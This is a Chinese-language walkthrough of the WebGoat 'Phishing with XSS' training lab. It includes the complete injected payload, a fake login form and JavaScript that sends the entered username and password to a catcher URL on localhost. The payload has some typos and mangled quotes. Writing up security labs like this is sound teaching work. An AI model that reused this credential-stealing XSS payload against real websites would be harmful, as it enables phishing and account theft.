跨站脚本攻击——使用XSS钓鱼

一、题目
This lesson is an example of how a website might support a phishing attack

Below is an example of a standard search feature.
Using XSS and HTML insertion, your goal is to:

Insert html to that requests credentials
Add javascript to actually collect the credentials
Post the credentials to http://localhost/WebGoat/catcher?PROPERTY=yes...

To pass this lesson, the credentials must be posted to the catcher servlet.
使用XSS和HTML注入，你的目标：
（1）将html插入请求凭据
（2）插入javascript以实际收集凭据
（3）将凭据发送到http://localhost/WebGoat/catcher?PROPERTY=yes…

为了通过这次实验，必须将凭据发送到捕获器servlet

二、课程目标
（1）技术概念
It is always a good practice to validate all input on the server side. XSS can occur when unvalidated user input is used in an HTTP response. With the help of XSS you can do a Phishing Attack and add content to a page which looks official. It is very hard for a victim to determinate that the content is malicious.
在服务端对所有输入进行验证总是不错的做法。在HTTP响应中，使用未经验证的用户输入时，可能会发生XSS漏洞。利用XSS，你可以实现钓鱼攻击并将内容添加到看似正常的页面。对于受害者来说，确定内容是恶意的是很困难的。

（2）课程目标
The user should be able to add a form asking for username and password. On submit the input should be sent to http://localhost/WebGoat/catcher?PROPERTY=yes &user=catchedUserName&password=catchedPasswordName
用户应当能够添加一个请求用户名与密码的表单。将数据提交到http://localhost/WebGoat/catcher?PROPERTY=yes &user=catchedUserName&password=catchedPasswordName

三、操作步骤
（1）利用XSS漏洞，在页面中新增一个表单，插入如下代码，点击search

界面效果：

（2）利用脚本读取表单上获取的用户名和密码，并将数据发送给攻击者。
< script>
function hack(){
alert("Had this been a real attack…Your credentials were just stolen.“User Name=”+document.forms[0].user.value+“Password=”+documment.forms[0].pass.value);XSSImage=new Image;XSSImage.src=“http://localhost/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value+"&password="+document.forms[0].pass.value+"”;
}
< /script>
（3）将两段代码结合使用
< script>function hack(){ alert("Had this been a real attack… Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src=“http://localhost/WebGoat/catcher?PROPERTY=yes&user=”+ document.forms[0].user.value + “&password=” + document.forms[0].pass.value + “”;} < /script>< form>< br>< br>< HR>< H3>This feature requires account login:< /H3 >< br>< br>Enter Username:< br>< input type=“text” id=“user” name=“user”>< br>Enter Password:< br>< input type=“password” name = “pass”>< br>< input type=“submit” name=“login” value=“login” οnclick=“hack()”>< /form>< br>< br>< HR>

（4）点击search按钮，并输入用户名及密码，点击login按钮，查看效果。
点击login按钮